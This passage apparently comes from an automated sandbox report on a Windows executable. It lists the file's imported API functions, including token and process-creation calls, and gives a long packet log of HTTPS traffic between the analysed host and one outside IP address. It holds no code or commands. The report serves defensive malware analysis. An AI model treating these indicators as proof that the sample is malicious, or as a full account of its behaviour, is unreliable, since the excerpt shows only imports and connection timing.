RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, GetCurrentProcessId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, GetFileSizeEx, SetFilePointerEx, GetFileType, HeapAlloc, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, HeapFree, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, VirtualProtect, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle
ADVAPI32.dll	FreeSid, CheckTokenMembership, CreateProcessAsUserW, AllocateAndInitializeSid

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 09:39:51.666964054 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:51.667009115 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:51.667104959 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:51.678637981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:51.678666115 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.141156912 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.141266108 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.207130909 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.207154036 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.208015919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.208092928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.209729910 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.256503105 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422569036 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422666073 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.422836065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422897100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422905922 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.422913074 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422972918 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.422972918 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.422979116 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.422986031 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.423022985 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.423170090 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.423223019 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.423266888 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.423336983 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.423340082 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.423398018 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.423894882 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.424017906 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.424021006 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.424081087 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.427727938 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.427860022 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.428056002 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.428102970 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.511754990 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.511817932 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.511826038 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.511873960 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.511897087 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.511931896 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.511936903 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.511967897 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.512005091 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.512193918 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.512269020 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.512271881 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.512314081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.512341976 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.512346983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.512360096 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.512408018 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513135910 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513187885 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513194084 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513230085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513232946 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513276100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513341904 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513345957 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513396978 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513747931 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513811111 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513840914 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513844013 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513871908 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513880968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513880968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513887882 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.513906956 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.513969898 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.514558077 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.514602900 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.514606953 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.514650106 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.514652014 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.514703989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.514708042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.514823914 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.514832020 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.514949083 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.598628044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.598640919 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.598664045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.598710060 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.598731995 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.598778009 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.598778009 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.598784924 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.598830938 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.600363970 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.600393057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.600466967 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.600466967 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.600476980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.600531101 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.602272987 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.602297068 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.602353096 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.602364063 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.602391958 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.602415085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.639415979 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.639455080 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.639497995 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.639509916 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.639576912 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.843822956 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.843849897 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.844495058 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.844506979 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.844566107 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.844669104 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.844688892 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.844731092 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.844742060 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.844763994 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.844880104 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845045090 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845065117 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845122099 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845163107 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845165968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845165968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845180035 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845216990 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845232964 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845263004 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845263004 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845271111 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845313072 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845313072 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845684052 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845705032 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845760107 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.845767021 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.845779896 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.848747015 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.849416018 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.849663973 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.849945068 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850033045 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.850048065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850059032 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850096941 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.850168943 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850217104 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.850326061 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850476980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850508928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.850516081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.850558996 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.850558996 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.851556063 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.851577997 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.851663113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.851663113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.851670980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.852147102 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.852175951 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.852216005 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.852227926 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.852268934 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.852268934 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.853456974 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.853480101 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.853631973 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.853640079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.853893995 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.853909016 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.853921890 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.853970051 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.854379892 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.854406118 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.854413986 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.854440928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.854500055 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.855020046 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.855037928 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.855101109 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.855110884 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.857135057 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.857170105 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.857240915 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.857240915 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.857250929 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.857673883 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.857988119 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.858015060 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.858102083 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.858102083 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.858108044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.859091043 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.859746933 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.859767914 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.859910011 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.859918118 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860233068 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860255957 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.860271931 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860282898 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860322952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.860322952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.860399961 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860418081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860519886 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.860519886 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.860526085 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.860580921 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.861274958 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.861500978 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.861823082 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.861891031 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.862416983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.862437010 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.862498999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.862498999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.862504959 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.862549067 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.863207102 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.863225937 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.863300085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.863300085 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.863306046 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.865667105 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.943300009 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.943326950 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.943398952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.943409920 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.943464994 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.943464994 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.944304943 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.944324970 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.944371939 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.944386005 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.944430113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.944430113 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.944735050 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.944755077 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.944904089 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.944910049 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945014954 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945115089 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945132971 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945216894 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945250988 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945256948 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945286989 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945342064 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945820093 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945841074 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945879936 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945898056 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945911884 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.945961952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.945961952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.946007967 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.946089029 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.946239948 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.946310997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:52.946332932 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:52.946393013 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.032042980 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032074928 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032223940 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.032238007 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032407045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032432079 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032529116 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.032529116 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.032536983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032880068 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032898903 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.032941103 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.032953024 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033018112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033018112 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033077955 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033101082 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033143997 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033155918 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033211946 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033211946 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033472061 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033490896 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.033544064 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.033552885 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034089088 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034113884 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034151077 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034151077 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034158945 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034373045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034392118 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034430981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034430981 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034436941 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034492016 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034492016 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034600973 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034620047 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.034692049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034692049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.034698009 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.037662983 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.116652966 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116682053 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116812944 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.116831064 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116843939 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116867065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116905928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.116915941 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:39:53.116960049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.116960049 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:39:53.117085934 CEST	443	63778	185.199.108.133	192.168.2.6
